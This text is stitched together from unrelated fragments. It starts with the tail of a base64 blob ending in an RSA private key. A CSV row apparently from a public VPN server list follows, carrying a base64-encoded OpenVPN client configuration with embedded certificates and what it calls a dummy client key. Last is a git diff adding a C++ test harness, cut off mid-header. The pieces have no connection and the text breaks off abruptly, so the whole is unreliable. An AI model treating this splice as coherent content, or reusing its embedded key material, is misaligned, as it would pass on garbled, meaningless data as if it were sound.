NRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn262033795,31.130.197.121,495573,43,88618827,Russian Federation,RU,0,1000,663,85719871348,2weeks,DESKTOP-3P0RC5U's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAzMS4xMzAuMTk3LjEyMSAxMjkwDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +* diff --git a/tests/harness.cpp b/tests/harness.cpp new file mode 100644 index 0000000..61f0ac2 --- /dev/null +++ b/tests/harness.cpp @@ -0,0 +1,90 @@ +#include "harness.h" + +#include +#include +#include +#include +#include + +#include "common/logging.h" + +#ifndef OVG_TEST_DATA_DIR +#define OVG_TEST_DATA_DIR "tests/data" +#endif + +namespace ovgtest { + +std::vector ®istry() { + static std::vector cases; + return cases; +} + +Registrar::Registrar(std::string name, std::function fn) { + registry().push_back(Case{std::move(name), std::move(fn)}); +} + +void fail(const char *file, int line, const std::string &what) { + const char *slash = std::strrchr(file, '/'); + std::string loc = slash ? slash + 1 : file; + throw Failure{loc + ":" + std::to_string(line) + ": " + what}; +} + +void skip(const std::string &reason) { throw Skipped{reason}; } + +std::string data_path(const std::string &leaf) { + return std::string(OVG_TEST_DATA_DIR) + "/" + leaf; +} + +int run_all(int argc, char **argv) { + const char *filter = argc > 1 ? argv[1] : nullptr; + + int passed = 0, failed = 0, filtered = 0, skipped = 0; + for (const auto &c : registry()) { + if (filter && c.name.find(filter) == std::string::npos) { + ++filtered; + continue; + } + const auto t0 = std::chrono::steady_clock::now(); + try { + c.fn(); + const auto ms = std::chrono::duration( + std::chrono::steady_clock::now() - t0) + .count(); + std::printf(" \033[32mPASS\033[0m %-44s %6.1fms\n", c.name.c_str(), ms); + ++passed; + } catch (const Skipped &s) { + std::printf(" \033[33mSKIP\033[0m %-44s %s\n", c.name.c_str(), + s.reason.c_str()); + ++skipped; + } catch (const Failure &f) { + std::printf(" \033[31mFAIL\033[0m %s\n %s\n", c.name.c_str(), + f.message.c_str()); + ++failed; + } catch (const std::exception &e) { + std::printf(" \033[31mFAIL\033[0m %s\n threw: %s\n", + c.name.c_str(), e.what()); + ++failed; + } catch (...) { + std::printf(" \033[31mFAIL\033[0m %s\n threw unknown exception\n", + c.name.c_str()); + ++failed; + } + } + + std::printf("\n %d passed, %d failed", passed, failed); + if (skipped) std::printf(", %d skipped", skipped); + if (filtered) std::printf(", %d filtered out", filtered); + std::printf("\n\n"); + return failed == 0 ? 0 : 1; +} + +} // namespace ovgtest + +int main(int argc, char **argv) { + // Tests exercise error paths on purpose, so the log would be mostly noise. + // OVG_TEST_LOG=debug (or any level name) turns it back on when debugging. + const char *lvl = std::getenv("OVG_TEST_LOG"); + ovg::log::set_level(lvl ? ovg::log::level_from_string(lvl) + : ovg::log::Level::Off); + return ovgtest::run_all(argc, argv); +} diff --git a/tests/harness.h b/tests/harness.h new file mode 100644 index 0000000..2e0555e --- /dev/null +++ b/tests/harness.h @@ -0,0 +1,120 @@ +// A ~100-line test harness. +// +// Pulling in GTest would mean either a system package we cannot assume or a +// FetchContent download on every clean build. The tests here need registration, +// assertions and a non-zero exit code; that is all this provides. +#pragma once + +#include +#include +#include +#include +#include +#include + +namespace ovgtest { + +struct Case { + std::string name; + std::function fn; +}; + +std::vector ®istry(); + +struct Registrar { + Registrar(std::string name, std::function fn); +}; + +// Thrown by the CHECK macros; caught per-case by the runner. +struct Failure { + std::string message; +}; + +// Thrown by SKIP: the environment cannot support the test (e.g. a sandbox that +// transparently accepts every outbound connection, so nothing can be +// blackholed). Reported distinctly from a pass so it cannot hide a regression. +struct Skipped { + std::string reason; +}; + +[[noreturn]] void fail(const char *file, int line, const std::string &what); +[[noreturn]] void skip(const std::string &reason); + +// Absolute path to tests/data, injected by CMake. +std::string data_path(const std::string &leaf); + +int 